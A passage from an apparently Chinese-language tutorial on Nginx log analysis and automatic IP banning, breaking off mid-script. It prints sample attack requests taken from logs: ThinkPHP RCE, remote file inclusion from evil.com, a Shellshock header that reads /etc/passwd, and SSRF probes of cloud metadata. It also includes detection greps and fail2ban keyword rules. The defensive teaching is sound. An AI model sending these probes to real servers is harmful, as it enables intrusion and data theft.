103.xx.xx.92 - - [13/Mar/2026:02:35:05 +0800] "GET /struts2-showcase/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%7D HTTP/1.1" 404 162
# ThinkPHP 远程代码执行
103.xx.xx.92 - - [13/Mar/2026:02:35:06 +0800] "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 HTTP/1.1" 404 162
# PHP 远程文件包含
185.xx.xx.47 - - [13/Mar/2026:02:35:07 +0800] "GET /index.php?page=http://evil.com/shell.txt HTTP/1.1" 404 162
185.xx.xx.47 - - [13/Mar/2026:02:35:08 +0800] "GET /index.php?page=php://filter/convert.base64-encode/resource=config.php HTTP/1.1" 404 162
# Shellshock(CVE-2014-6271)——又一个老漏洞,但扫描一直没停
185.xx.xx.47 - - [13/Mar/2026:02:35:09 +0800] "GET /cgi-bin/test.cgi HTTP/1.1" 404 162 "-" "() { :; }; /bin/bash -c 'cat /etc/passwd'"
# Server-Side Request Forgery (SSRF) 尝试
103.xx.xx.115 - - [13/Mar/2026:02:35:10 +0800] "GET /proxy?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1" 403 162
103.xx.xx.115 - - [13/Mar/2026:02:35:11 +0800] "GET /proxy?url=http://127.0.0.1:6379/INFO HTTP/1.1" 403 162
检测命令:
# Log4j 漏洞利用检测
grep -iE '(\$\{jndi:|%24%7Bjndi)' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn
# Spring4Shell 检测
grep -iE '(classLoader|class\.module)' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn
# ThinkPHP 漏洞检测
grep -iE '(invokefunction|think\\app)' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn
# SSRF 检测(访问内网 IP 和云元数据)
grep -iE '(169\.254\.169\.254|127\.0\.0\.1|10\.\d+\.\d+\.\d+|172\.(1[6-9]|2[0-9]|3[01])\.\d+\.\d+|192\.168\.)' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn
# 综合漏洞利用检测
grep -iE '(jndi|classLoader|invokefunction|call_user_func|eval\(|exec\(|system\(|passthru|shell_exec|phpinfo|base64_decode)' /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn
2.5 User-Agent 分析
UA(User-Agent)是判断请求来源的重要依据。正常浏览器、合法爬虫、恶意扫描器的 UA 有明显区别。
2.5.1 正常爬虫 UA 特征
合法搜索引擎爬虫会在 UA 中明确标识自己的身份:
# Google 爬虫
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/W.X.Y.Z Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# 百度爬虫
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
# Bing 爬虫
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
# 搜狗爬虫
"Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm)"
验证爬虫身份是否真实的方法——反向 DNS 解析:
# 以 Googlebot 为例,真正的 Google 爬虫的 IP 反解应该是 *.googlebot.com 或 *.google.com
host 66.249.66.1
# 输出:1.66.249.66.in-addr.arpa domain name pointer crawl-66-249-66-1.googlebot.com.
# 再正向解析验证
host crawl-66-249-66-1.googlebot.com
# 输出:crawl-66-249-66-1.googlebot.com has address 66.249.66.1
# 如果反解结果不是 googlebot.com 域名,就是伪造的
批量验证日志中声称是 Googlebot 的 IP 是否真实:
# 提取所有声称是 Googlebot 的 IP 并验证
grep -i "googlebot" /var/log/nginx/access.log | awk '{print $1}' | sort -u | while read ip; do
# 反向解析
rdns=$(host "$ip" 2>/dev/null | awk '{print $NF}' | sed 's/\.$//')
if echo "$rdns" | grep -qiE '(googlebot\.com|google\.com)$'; then
echo "[真实] $ip -> $rdns"
else
echo "[伪造] $ip -> $rdns"
fi
done
2.5.2 恶意 Bot 和扫描器 UA
恶意工具的 UA 五花八门,有些直接标明身份,有些伪装成浏览器:
# 明确标识的扫描工具
"sqlmap/1.7.12#stable (https://sqlmap.org)"
"nikto/2.5.0"
"Nmap Scripting Engine; https://nmap.org/book/nse.html"
"masscan/1.3 (https://github.com/robertdavidgraham/masscan)"
"DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)"
"gobuster/3.6"
"wfuzz/3.1.0"
"WPScan v3.8.27 (https://wpscan.com/)"
# 常见扫描器的简短 UA
"python-requests/2.31.0"
"Go-http-client/1.1"
"curl/8.5.0"
"Wget/1.21.4"
"Java/17.0.6"
"libwww-perl/6.72"
# 可疑的极简 UA——正常浏览器不可能这么短
"Mozilla/5.0"
"-"
""
"Hello World"
"test"
注意:python-requests、curl、Go-http-client 这些 UA 不一定是恶意的。你自己的监控脚本、健康检查、API 调用也可能用这些。判断是否恶意要结合请求内容和频率。
2.5.3 UA 统计与异常检测
# 统计所有 UA 出现次数
awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -30
# 找出空 UA 或短 UA 的请求——大概率是工具或恶意请求
awk -F'"' 'length($6) < 10 || $6 == "-" {print $1, $6}' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20
# 找出已知扫描工具的请求
grep -iE '(sqlmap|nikto|nmap|masscan|dirbuster|gobuster|wfuzz|wpscan|acunetix|nessus|openvas|burpsuite|zaproxy)' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn
# 统计使用 python-requests 的 IP 及其请求的 URL
awk -F'"' '/python-requests/ {print $1}' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10
2.6 状态码异常分析
HTTP 状态码是判断异常行为的重要指标。不同状态码组合反映不同类型的攻击。
2.6.1 404 扫描行为
某个 IP 短时间内产生大量 404,基本就是在跑扫描器遍历路径:
# 统计每个 IP 的 404 请求数量
awk '$9 == 404 {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 查看 404 最多的 IP 在访问什么路径
ip="185.xx.xx.33"
awk -v ip="$ip" '$1 == ip && $9 == 404 {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -30
正常情况下一个 IP 偶尔出现几个 404 是正常的(比如书签过期、链接失效),但如果一个 IP 在 10 分钟内产生了 200+ 个 404,每个 URL 都不一样,那就是扫描器无疑。
2.6.2 403 探测行为
403 表示禁止访问。如果某个 IP 产生大量 403,说明它在尝试访问被保护的资源:
# 统计 403 请求的 IP 和 URL
awk '$9 == 403 {count[$1]++; url[$1] = url[$1] ? url[$1] "," $7 : $7} END {for(ip in count) if(count[ip] > 10) print count[ip], ip}' /var/log/nginx/access.log | sort -rn | head -20
2.6.3 5xx 错误追踪
5xx 错误代表服务端问题。大量 5xx 可能意味着后端服务崩了,也可能是攻击者发送的恶意请求导致后端异常:
# 5xx 错误趋势(按分钟统计)
awk '$9 ~ /^5/ {print substr($4,2,17)}' /var/log/nginx/access.log | sort | uniq -c
# 触发 5xx 最多的 URL
awk '$9 ~ /^5/ {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 触发 5xx 最多的 IP
awk '$9 ~ /^5/ {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -10
# 502 和 504 通常意味着后端不可达或超时
awk '$9 == 502 || $9 == 504 {print $4, $7}' /var/log/nginx/access.log | tail -30
2.6.4 状态码分布画像
正常业务的状态码分布应该有一个比较稳定的模式。当分布突然异常时就要警惕:
# 状态码分布饼图数据
awk '{
total++;
code[$9]++;
} END {
printf "\n状态码分布 (总请求: %d)\n", total;
printf "%-8s %-10s %-8s\n", "状态码", "数量", "占比";
printf "%-8s %-10s %-8s\n", "------", "------", "------";
for (c in code) {
printf "%-8s %-10d %.2f%%\n", c, code[c], code[c]/total*100;
}
}' /var/log/nginx/access.log | sort -t'%' -k1,1 -rn
正常业务的状态码分布参考:
| 状态码 |
正常占比 |
异常信号 |
| 200 |
85-95% |
低于 70% 需要排查 |
| 301/302 |
2-8% |
突然增多可能是跳转循环 |
| 304 |
3-10% |
缓存命中,比例高是好事 |
| 404 |
0.5-3% |
超过 5% 可能有扫描行为 |
| 403 |
< 1% |
突然增多说明有人在探测受保护资源 |
| 499 |
< 0.5% |
客户端主动断开,比例高说明响应太慢 |
| 502/504 |
< 0.1% |
后端故障,超过 1% 需要立即处理 |
2.7 慢请求分析
慢请求是性能问题的晴雨表。需要 main_ext 或 JSON 格式的日志(包含 $request_time 和 $upstream_response_time)。
2.7.1 request_time vs upstream_response_time
这两个指标的关系:
request_time = 客户端发送请求时间 + Nginx 处理时间 + upstream_response_time + 客户端接收响应时间
几种典型场景:
| request_time |
upstream_response_time |
瓶颈在哪 |
| 大 |
大 |
后端处理慢(数据库查询慢、代码逻辑复杂等) |
| 大 |
小 |
客户端网络差(弱网环境、上传大文件等) |
| 大 |
- |
没有走 upstream(静态文件请求慢,可能是磁盘 IO 问题) |
| 小 |
小 |
正常 |
2.7.2 慢请求排查命令
以下命令基于 main_ext 格式,$request_time 是从末尾数第 4 个字段:
# 找出响应时间 Top20 的请求
awk '{print $(NF-3), $1, $7, $9}' /var/log/nginx/access.log | sort -rn | head -20
# 统计各 URL 的平均响应时间(排除静态资源)
awk '$7 !~ /\.(css|js|png|jpg|gif|ico|svg|woff|ttf|map)$/ {
url = $7;
# 去掉查询参数,只保留路径
gsub(/\?.*/, "", url);
sum[url] += $(NF-3);
count[url]++;
if ($(NF-3) > max[url]) max[url] = $(NF-3);
} END {
printf "%-50s %8s %8s %8s %8s\n", "URL", "平均(s)", "最大(s)", "请求数", "总耗时(s)";
for (u in sum) {
if (count[u] >= 10) {
printf "%-50s %8.3f %8.3f %8d %8.1f\n", u, sum[u]/count[u], max[u], count[u], sum[u];
}
}
}' /var/log/nginx/access.log | sort -t' ' -k2 -rn | head -20
# P99 响应时间统计(需要 gawk)
awk '$7 == "/api/user/profile" {times[NR] = $(NF-3)} END {
n = asort(times);
p50 = times[int(n*0.50)];
p90 = times[int(n*0.90)];
p95 = times[int(n*0.95)];
p99 = times[int(n*0.99)];
printf "P50: %.3fs | P90: %.3fs | P95: %.3fs | P99: %.3fs | 样本数: %d\n", p50, p90, p95, p99, n;
}' /var/log/nginx/access.log
# 慢请求时间分布
awk '{
t = $(NF-3);
if (t == "-") next;
if (t < 0.1) a++;
else if (t < 0.5) b++;
else if (t < 1) c++;
else if (t < 3) d++;
else if (t < 5) e++;
else if (t < 10) f++;
else g++;
total++;
} END {
printf "< 0.1s: %8d (%5.1f%%)\n", a, a/total*100;
printf "0.1-0.5s:%8d (%5.1f%%)\n", b, b/total*100;
printf "0.5-1s: %8d (%5.1f%%)\n", c, c/total*100;
printf "1-3s: %8d (%5.1f%%)\n", d, d/total*100;
printf "3-5s: %8d (%5.1f%%)\n", e, e/total*100;
printf "5-10s: %8d (%5.1f%%)\n", f, f/total*100;
printf "> 10s: %8d (%5.1f%%)\n", g, g/total*100;
}' /var/log/nginx/access.log
2.8 实时监控方案
日志分析不能只靠事后翻文件,实时监控才能在问题发生的第一时间发现。
2.8.1 tail + awk 简易实时监控
最简单的实时监控——用 tail -f 配合 awk 过滤:
# 实时显示所有非 200 的请求
tail -f /var/log/nginx/access.log | awk '$9 != 200 {print $4, $1, $9, $7}'
# 实时显示慢请求(响应时间超过 2 秒)
tail -f /var/log/nginx/access.log | awk '$(NF-3) > 2 {printf "\033[31m[SLOW %.2fs]\033[0m %s %s %s\n", $(NF-3), $1, $7, $9}'
# 实时高频 IP 告警(每 10 秒统计一次,超过 50 次就告警)
tail -f /var/log/nginx/access.log | awk '{
ip[$1]++;
if (NR % 500 == 0) {
for (i in ip) {
if (ip[i] > 50) {
printf "\033[31m[告警] %s: %d 次请求\033[0m\n", i, ip[i] > "/dev/stderr";
}
}
delete ip;
}
}'
# 实时检测恶意请求关键词
tail -f /var/log/nginx/access.log | grep --line-buffered -iE '(union.*select|<script|\.\.\/|\.env|wp-admin|jndi|phpinfo)'
2.8.2 Promtail + Loki 日志收集
生产环境推荐用 Grafana Loki 做日志收集和查询。相比 ELK,Loki 只索引标签不索引内容,存储成本低很多。
安装 Promtail(Loki 的日志收集客户端):
# 下载 Promtail
cd /tmp
curl -LO https://github.com/grafana/loki/releases/download/v3.4.2/promtail-linux-amd64.zip
unzip promtail-linux-amd64.zip
sudo mv promtail-linux-amd64 /usr/local/bin/promtail
sudo chmod +x /usr/local/bin/promtail
配置 Promtail 采集 Nginx 日志:
# /etc/promtail/config.yml
server:
http_listen_port: 9080
grpc_listen_port: 0
positions:
filename: /tmp/positions.yaml
clients:
- url: http://loki-server:3100/loki/api/v1/push
scrape_configs:
- job_name: nginx
static_configs:
- targets:
- localhost
labels:
job: nginx
host: prod-web01
__path__: /var/log/nginx/access.log
# 管道处理——从日志行中提取字段作为标签
pipeline_stages:
# 正则提取(combined 格式)
- regex:
expression: '^(?P<remote_addr>\S+) - (?P<remote_user>\S+) \[(?P<time_local>[^\]]+)\] "(?P<method>\S+) (?P<uri>\S+) (?P<protocol>\S+)" (?P<status>\d+) (?P<body_bytes_sent>\d+) "(?P<referer>[^"]*)" "(?P<user_agent>[^"]*)"'
# 提取标签(只提取有限几个作为标签,避免标签爆炸)
- labels:
method:
status:
# 根据状态码设置日志级别
- match:
selector: '{job="nginx"} |~ "^.* (4\\d{2}|5\\d{2}) "'
stages:
- static_labels:
level: error
- match:
selector: '{job="nginx"} |~ "^.* [23]\\d{2} "'
stages:
- static_labels:
level: info
# 错误日志
- job_name: nginx-error
static_configs:
- targets:
- localhost
labels:
job: nginx-error
host: prod-web01
__path__: /var/log/nginx/error.log
创建 Systemd 服务:
sudo tee /etc/systemd/system/promtail.service > /dev/null << 'EOF'
[Unit]
Description=Promtail Log Collector
After=network.target
[Service]
Type=simple
User=root
ExecStart=/usr/local/bin/promtail -config.file=/etc/promtail/config.yml
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl enable --now promtail
sudo systemctl status promtail
日志接入 Loki 后,就可以在 Grafana 里用 LogQL 查询了:
# 查看所有 5xx 错误
{job="nginx"} |= "\" 5"
# 查看特定 IP 的请求
{job="nginx"} |= "103.xx.xx.92"
# 查看包含 SQL 注入特征的请求
{job="nginx"} |~ "(?i)(union.*select|or.*1.*=.*1)"
# 统计每分钟的 5xx 错误数
sum(rate({job="nginx", status=~"5.."} [1m]))
# 按状态码统计请求速率
sum by (status) (rate({job="nginx"} [5m]))
三、示例代码和配置
3.1 增强 JSON 日志格式完整配置
这是我在生产环境实际使用的 Nginx 日志配置,包含了安全审计所需的所有关键字段:
# /etc/nginx/nginx.conf 完整日志相关配置
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
pid /run/nginx.pid;
events {
worker_connections 65535;
use epoll;
multi_accept on;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
# ========== 日志格式定义 ==========
# 标准增强格式——适合命令行分析
log_format main_ext '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'$request_time $upstream_response_time '
'$http_x_forwarded_for '
'$connection $connection_requests';
# JSON 格式——适合 ELK/Loki 等日志系统
log_format json_analytics escape=json
'{'
'"timestamp":"$time_iso8601",'
'"remote_addr":"$remote_addr",'
'"remote_user":"$remote_user",'
'"request_method":"$request_method",'
'"request_uri":"$request_uri",'
'"server_protocol":"$server_protocol",'
'"status":$status,'
'"body_bytes_sent":$body_bytes_sent,'
'"request_length":$request_length,'
'"http_referer":"$http_referer",'
'"http_user_agent":"$http_user_agent",'
'"http_x_forwarded_for":"$http_x_forwarded_for",'
'"request_time":$request_time,'
'"upstream_response_time":"$upstream_response_time",'
'"upstream_addr":"$upstream_addr",'
'"upstream_status":"$upstream_status",'
'"upstream_connect_time":"$upstream_connect_time",'
'"upstream_header_time":"$upstream_header_time",'
'"connection":$connection,'
'"connection_requests":$connection_requests,'
'"server_name":"$server_name",'
'"scheme":"$scheme",'
'"request_id":"$request_id",'
'"gzip_ratio":"$gzip_ratio",'
'"ssl_protocol":"$ssl_protocol",'
'"ssl_cipher":"$ssl_cipher"'
'}';
# ========== 日志输出配置 ==========
# 主访问日志——使用增强文本格式,方便命令行分析
access_log /var/log/nginx/access.log main_ext;
# JSON 日志——用于日志收集系统
access_log /var/log/nginx/access.json.log json_analytics;
# 关闭健康检查和静态资源的日志记录——减少无意义日志
map $request_uri $loggable {
~*^/(health|ready|alive)$ 0;
~*\.(ico|css|js|gif|jpg|jpeg|png|svg|woff|woff2|ttf|map)$ 0;
default 1;
}
# 在需要过滤的 server 块中使用条件日志
# access_log /var/log/nginx/access.log main_ext if=$loggable;
# ========== 其他配置 ==========
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# 隐藏 Nginx 版本号——减少信息泄露
server_tokens off;
# 开启 gzip
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 6;
gzip_types text/plain text/css application/json application/javascript text/xml application/xml;
include /etc/nginx/conf.d/*.conf;
}
关于 $request_id 字段:Nginx 1.11.0+ 内置支持,会为每个请求生成一个唯一 ID(32 位十六进制字符串)。在微服务架构中,把这个 ID 通过 proxy_set_header X-Request-ID $request_id 传给后端,就能把 Nginx 日志和后端应用日志串联起来,排查问题时特别有用。
3.2 日志分析一键脚本
这个脚本是我日常巡检用的,一键输出所有关键信息:
#!/bin/bash
# nginx_log_analyzer.sh
# 功能:Nginx 访问日志综合分析脚本
# 支持:combined 和 main_ext 格式
# 用法:bash nginx_log_analyzer.sh [日志文件路径] [分析最近N分钟,默认60]
set -euo pipefail
# ========== 参数设置 ==========
LOG_FILE="${1:-/var/log/nginx/access.log}"
MINUTES="${2:-60}"
MALICIOUS_THRESHOLD=100 # 每分钟请求超过此值视为异常
TOP_N=20 # 排行榜显示数量
# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m'
# ========== 前置检查 ==========
if [[ ! -f "$LOG_FILE" ]]; then
echo -e "${RED}错误:日志文件 $LOG_FILE 不存在${NC}"
exit 1
fi
TOTAL_LINES=$(wc -l < "$LOG_FILE")
if [[ "$TOTAL_LINES" -eq 0 ]]; then
echo -e "${YELLOW}日志文件为空,没有数据可分析${NC}"
exit 0
fi
echo -e "${CYAN}============================================================${NC}"
echo -e "${CYAN} Nginx 访问日志综合分析报告${NC}"
echo -e "${CYAN}============================================================${NC}"
echo -e " 日志文件: ${LOG_FILE}"
echo -e " 文件大小: $(du -h "$LOG_FILE" | awk '{print $1}')"
echo -e " 总行数: ${TOTAL_LINES}"
echo -e " 分析时间: $(date '+%Y-%m-%d %H:%M:%S')"
echo -e " 分析范围: 最近 ${MINUTES} 分钟"
echo -e "${CYAN}------------------------------------------------------------${NC}"
# ========== 1. 概览统计 ==========
echo -e "\n${GREEN}[1] 请求概览${NC}"
echo -e "------------------------------------------------------------"
awk '{
total++;
code[$9]++;
method[substr($6,2)]++;
} END {
printf " 总请求数: %d\n", total;
printf "\n 状态码分布:\n";
for (c in code) {
pct = code[c] / total * 100;
bar = "";
bars = int(pct / 2);
for (i = 0; i < bars; i++) bar = bar "#";
printf " %s: %8d (%5.1f%%) %s\n", c, code[c], pct, bar;
}
printf "\n 请求方法分布:\n";
for (m in method) {
printf " %-8s %8d (%5.1f%%)\n", m, method[m], method[m]/total*100;
}
}' "$LOG_FILE"
# ========== 2. Top IP ==========
echo -e "\n${GREEN}[2] IP 访问量 Top${TOP_N}${NC}"
echo -e "------------------------------------------------------------"
printf " %-8s %-18s\n" "请求数" "IP 地址"
awk '{print $1}' "$LOG_FILE" | sort | uniq -c | sort -rn | head -"$TOP_N" | while read count ip; do
printf " %-8d %-18s\n" "$count" "$ip"
done
# ========== 3. Top URL ==========
echo -e "\n${GREEN}[3] 访问量最高的 URL Top${TOP_N}${NC}"
echo -e "------------------------------------------------------------"
printf " %-8s %s\n" "请求数" "URL"
awk '{print $7}' "$LOG_FILE" | sort | uniq -c | sort -rn | head -"$TOP_N" | while read count url; do
printf " %-8d %s\n" "$count" "$url"
done
# ========== 4. Top UA ==========
echo -e "\n${GREEN}[4] User-Agent Top10${NC}"
echo -e "------------------------------------------------------------"
awk -F'"' '{print $6}' "$LOG_FILE" | sort | uniq -c | sort -rn | head -10 | while read count ua; do
# 截断过长的 UA
if [[ ${#ua} -gt 80 ]]; then
ua="${ua:0:77}..."
fi
printf " %-8d %s\n" "$count" "$ua"
done
# ========== 5. 404 分析 ==========
echo -e "\n${GREEN}[5] 404 请求 Top${TOP_N}${NC}"
echo -e "------------------------------------------------------------"
COUNT_404=$(awk '$9 == 404' "$LOG_FILE" | wc -l)
echo -e " 404 总数: ${COUNT_404}"
if [[ "$COUNT_404" -gt 0 ]]; then
printf " %-8s %s\n" "次数" "URL"
awk '$9 == 404 {print $7}' "$LOG_FILE" | sort | uniq -c | sort -rn | head -"$TOP_N" | while read count url; do
printf " %-8d %s\n" "$count" "$url"
done
fi
# ========== 6. 高频 IP 检测 ==========
echo -e "\n${GREEN}[6] 高频 IP 检测 (每分钟 > ${MALICIOUS_THRESHOLD} 次)${NC}"
echo -e "------------------------------------------------------------"
HIGH_FREQ=$(awk '{
ip = $1;
match($4, /\[([0-9]+\/[A-Za-z]+\/[0-9]+:[0-9]+:[0-9]+)/, arr);
key = ip " " arr[1];
count[key]++;
} END {
for (k in count) {
if (count[k] > '"$MALICIOUS_THRESHOLD"') {
printf " %6d 次/分钟 %s\n", count[k], k;
}
}
}' "$LOG_FILE" | sort -rn)
if [[ -n "$HIGH_FREQ" ]]; then
echo -e "${RED} 发现异常高频访问!${NC}"
echo "$HIGH_FREQ" | head -20
else
echo -e "${GREEN} 未发现高频异常 IP${NC}"
fi
# ========== 7. 恶意请求检测 ==========
echo -e "\n${GREEN}[7] 恶意请求检测${NC}"
echo -e "------------------------------------------------------------"
# SQL 注入检测
SQL_COUNT=$(grep -ciE '(union.*select|or\+1=1|and\+1=1|sleep\(|benchmark\(|information_schema|load_file|into\+outfile)' "$LOG_FILE" 2>/dev/null || echo 0)
echo -e " SQL 注入尝试: ${SQL_COUNT} 次"
# XSS 检测
XSS_COUNT=$(grep -ciE '(<script|%3cscript|javascript:|onerror=|onload=|alert\(|document\.cookie)' "$LOG_FILE" 2>/dev/null || echo 0)
echo -e " XSS 攻击尝试: ${XSS_COUNT} 次"
# 路径遍历检测
TRAVERSAL_COUNT=$(grep -cE '(\.\./|%2e%2e)' "$LOG_FILE" 2>/dev/null || echo 0)
echo -e " 路径遍历尝试: ${TRAVERSAL_COUNT} 次"
# 扫描器检测
SCANNER_COUNT=$(grep -ciE '(\.env|wp-admin|wp-login|phpinfo|\.git/|phpmyadmin|adminer|xmlrpc\.php|actuator)' "$LOG_FILE" 2>/dev/null || echo 0)
echo -e " 扫描器探测: ${SCANNER_COUNT} 次"
# 漏洞利用检测
EXPLOIT_COUNT=$(grep -ciE '(jndi|classLoader|invokefunction|call_user_func|eval\(|system\(|shell_exec)' "$LOG_FILE" 2>/dev/null || echo 0)
echo -e " 漏洞利用尝试: ${EXPLOIT_COUNT} 次"
# 恶意请求来源 IP 汇总
MALICIOUS_TOTAL=$((SQL_COUNT + XSS_COUNT + TRAVERSAL_COUNT + SCANNER_COUNT + EXPLOIT_COUNT))
if [[ "$MALICIOUS_TOTAL" -gt 0 ]]; then
echo -e "\n${RED} 恶意请求来源 IP Top10:${NC}"
grep -iE '(union.*select|<script|%3cscript|\.\./|\.env|wp-admin|phpinfo|\.git/|jndi|classLoader|invokefunction)' "$LOG_FILE" 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | head -10 | while read count ip; do
printf " %-8d %s\n" "$count" "$ip"
done
fi
# ========== 8. 带宽统计 ==========
echo -e "\n${GREEN}[8] 带宽和流量统计${NC}"
echo -e "------------------------------------------------------------"
awk '{
total_bytes += $10;
ip_bytes[$1] += $10;
} END {
printf " 总流量: %.2f MB\n", total_bytes/1024/1024;
printf "\n 流量 Top10 IP:\n";
n = 0;
PROCINFO["sorted_in"] = "@val_num_desc";
for (ip in ip_bytes) {
if (++n > 10) break;
printf " %-18s %.2f MB\n", ip, ip_bytes[ip]/1024/1024;
}
}' "$LOG_FILE" 2>/dev/null || echo " (无法统计,可能日志格式不包含 body_bytes_sent)"
# ========== 报告结尾 ==========
echo -e "\n${CYAN}============================================================${NC}"
echo -e "${CYAN} 分析完成 | $(date '+%Y-%m-%d %H:%M:%S')${NC}"
echo -e "${CYAN}============================================================${NC}"
使用方式:
# 赋予执行权限
chmod +x nginx_log_analyzer.sh
# 分析默认日志文件
./nginx_log_analyzer.sh
# 分析指定日志文件
./nginx_log_analyzer.sh /var/log/nginx/api.access.log
# 分析最近 30 分钟的数据
./nginx_log_analyzer.sh /var/log/nginx/access.log 30
3.3 自动封禁方案
手动封禁 IP 只能应对已知攻击,自动封禁才是长久之计。这里提供两个方案。
3.3.1 fail2ban 自定义规则
fail2ban 是 Linux 上最成熟的自动封禁框架,通过监控日志文件,匹配预定义的正则规则,自动添加防火墙规则封禁恶意 IP。
安装:
sudo apt install -y fail2ban
创建 Nginx 恶意请求检测过滤器:
# /etc/fail2ban/filter.d/nginx-malicious.conf
# Nginx 恶意请求检测过滤器——覆盖 SQL 注入、XSS、路径遍历、扫描器
[Definition]
# SQL 注入检测
failregex = ^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(union.*select|or\+1=1|and\+1=1|sleep\(|benchmark\(|information_schema|load_file|into\+outfile|extractvalue|updatexml).*HTTP/.*"
^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(\%27|\%22|--\+|\%23).*HTTP/.*"
^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(<script|%3cscript|javascript:|onerror=|onload=|alert\(|document\.cookie).*HTTP/.*"
^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(\.\./|%2e%2e|%252e%252e).*HTTP/.*"
^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(\.env|wp-login\.php|wp-admin|phpinfo|\.git/|phpmyadmin|adminer|xmlrpc\.php).*HTTP/.*"
^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(jndi|classLoader|invokefunction|call_user_func|eval\(|system\().*HTTP/.*"
^<HOST> .* "(GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) .*(\.bak|\.old|\.orig|\.save|\.swp|\.swo|~).*HTTP/.*"
ignoreregex =
创建 Nginx CC 攻击检测过滤器:
# /etc/fail2ban/filter.d/nginx-cc.conf
# Nginx CC 攻击检测——短时间内高频请求
[Definition]
# 匹配所有请求(通过 maxretry 控制阈值)
failregex = ^<HOST> .* "(GET|POST|PUT|DELETE|HEAD) .* HTTP/.*" \d+ \d+
ignoreregex =
创建 jail 配置:
# /etc/fail2ban/jail.d/nginx.conf
# Nginx 相关的 fail2ban 监控规则
# 恶意请求封禁——检测到 3 次恶意请求就封禁 24 小时
[nginx-malicious]
enabled = true
port = http,https
filter = nginx-malicious
logpath = /var/log/nginx/access.log
maxretry = 3
findtime = 600
bantime = 86400
action = nftables-multiport[name=nginx-malicious, port="http,https", protocol=tcp]
# CC 攻击封禁——10 秒内超过 100 次请求,封禁 1 小时
[nginx-cc]
enabled = true
port = http,https
filter = nginx-cc
logpath = /var/log/nginx/access.log
maxretry = 100
findtime = 10
bantime = 3600
action = nftables-multiport[name=nginx-cc, port="http,https", protocol=tcp]
# 404 扫描封禁——5 分钟内产生 50 个 404,封禁 12 小时
[nginx-404-scan]
enabled = true
port = http,https
filter = nginx-404
logpath = /var/log/nginx/access.log
maxretry = 50
findtime = 300
bantime = 43200
action = nftables-multiport[name=nginx-404, port="http,https", protocol=tcp]
404 扫描过滤器:
# /etc/fail2ban/filter.d/nginx-404.conf
[Definition]
failregex = ^<HOST> .* "(GET|POST|PUT|DELETE|HEAD) .* HTTP/.*" 404 \d+
ignoreregex =
启动和管理 fail2ban:
# 启动 fail2ban
sudo systemctl enable --now fail2ban
# 查看所有 jail 状态
sudo fail2ban-client status
# 查看某个 jail 的详细状态
sudo fail2ban-client status nginx-malicious
# 查看被封禁的 IP 列表
sudo fail2ban-client status nginx-cc
# 手动解封某个 IP(测试时用)
sudo fail2ban-client set nginx-malicious unbanip 192.168.1.100
# 查看 fail2ban 日志
tail -f /var/log/fail2ban.log
3.3.2 nftables 自动封禁脚本
如果不想装 fail2ban,也可以用一个简单的 Bash 脚本配合 nftables 实现自动封禁。这个脚本适合放到 crontab 里每分钟执行一次:
#!/bin/bash
# auto_ban.sh
# 功能:自动分析 Nginx 日志,封禁高频和恶意 IP
# 用法:放到 crontab 每分钟执行 */1 * * * * /opt/scripts/auto_ban.sh
set -euo pipefail
LOG_FILE="/var/log/nginx/access.log"
BAN_LOG="/var/log/auto_ban.log"
NFT_SET="auto_banned"
FREQ_THRESHOLD=200 # 每分钟请求超过此值自动封禁
BAN_DURATION=3600 # 封禁时长(秒)
WHITELIST="127.0.0.1 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16"
# 获取当前分钟的时间标记
CURRENT_MINUTE=$(date '+%d/%b/%Y:%H:%M')
# 确保 nftables 集合存在
